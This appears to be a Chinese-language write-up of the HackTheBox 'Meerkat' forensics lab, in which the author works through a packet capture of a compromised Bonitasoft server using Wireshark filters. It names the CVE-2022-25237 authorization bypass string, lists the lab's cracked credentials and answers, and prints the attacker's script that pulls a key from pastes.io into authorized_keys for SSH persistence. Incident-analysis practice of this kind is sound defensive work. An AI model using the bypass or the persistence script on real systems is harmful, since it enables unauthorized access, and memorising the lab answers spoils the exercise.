0%

Meerkat

巨魔给的面试题,打开HTB的流量分析大门

Meerkat

背景

作为一家快速发展的初创公司,Forela 一直在利用业务管理平台。不幸的是,我们的文档很少,而且我们的管理员也不是最有安全意识的。作为我们新的安全提供商,我们希望您查看我们导出的一些 PCAP 和日志数据,以确认我们是否已(或尚未)受到损害。

Task1

我们相信我们的业务管理平台服务器已受到损害。请确认正在运行的应用程序的名称?

筛选http请求,然后追踪tcp流发现/bonita/portal/homepage

很明显是和bonita有关,google搜索引擎得到答案为bonitasoft

Task2

我们认为攻击者可能使用了暴力破解攻击类别的子集 - 所执行的攻击的名称是什么?

经过查看后续的一些 http 包,可以发现产生了大量失败的登录请求,可以怀疑攻击者正在尝试进行凭据爆破

1
Credential Stuffing

Task3

所利用的漏洞是否分配有 CVE - 如果有,是哪一个?

查找一下是否有被命令执行

1
http contains "whoami"

可以发现在第1091个流出现命令执行,往前翻找到黑客上传zip文件进行攻击

那么肯定是通过此zip文件使得命令执行得到root权限

通过搜索引擎可以知道漏洞编号为CVE-2022-25237

Task4

攻击者利用哪个字符串附加到 API URL 路径来绕过授权过滤器?

我们往下找,注意到/bonita/API/portal/page/;i18ntranslation路径的请求,并且后面就直接RCE了,说明i18ntranslation字符大概率是绕过waf。

Task5

撞库攻击中使用了多少种用户名和密码组合?

查看访问/bonita/loginservice总共多少个包

1
http.request.method=="POST" && http.request.uri=="/bonita/loginservice"

但是发现很多个包username和password均为install,这些我们不用算在里面所以排除一下

(当然也可以url解码username会发现为邮箱格式)

1
http.request.method=="POST" && http.request.uri=="/bonita/loginservice" && !http contains "install"

右下角显示59个,因为可能存在重复密码所以要查看下

1
http.request.method=="POST" && http.request.uri=="/bonita/loginservice" && !http contains "install" && http contains "seb.broom%40forela.co.uk"

找到用户名seb.broom%40forela.co.uk存在四次重复密码

整理一下59-4+1总共56次碰撞

Task6

哪个用户名和密码组合成功?

我们查找一下响应包也就是用到ip.src

1
http && ip.src==172.31.6.44

注意到响应为204说明爆破成功,追踪下tcp

得到用户名和密码(答案注意url编码)

1
username=seb.broom%40forela.co.uk&password=g0vernm3nt

Task7

如果有,攻击者使用了哪个文本共享网站?

使用网站的话那么请求包中应该有http字符(也可以筛选字符串cmd

1
http contains "http" && http

找到为pastes.io

Task8

请提供攻击者用于在我们的主机上获得持久性的公钥的文件名。

我们已经知道黑客用wget去下载该文件,我们打开kali去下载看看

不给连接这就怪了,文件内容如下

1
2
3
#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart

所以文件名为hffgra4unv

Task9

您能否确认攻击者修改的文件以获得持久性?

通过前一道题可以知道用curl命令将文件写到/home/ubuntu/.ssh/authorized_keys

所以能知道攻击者修改了文件

Task10

您能确认这种持久性机制的 MITRE 技术 ID 吗?

搜索引擎搜索MITRE authorized_keys ,成功找到id为T1098.004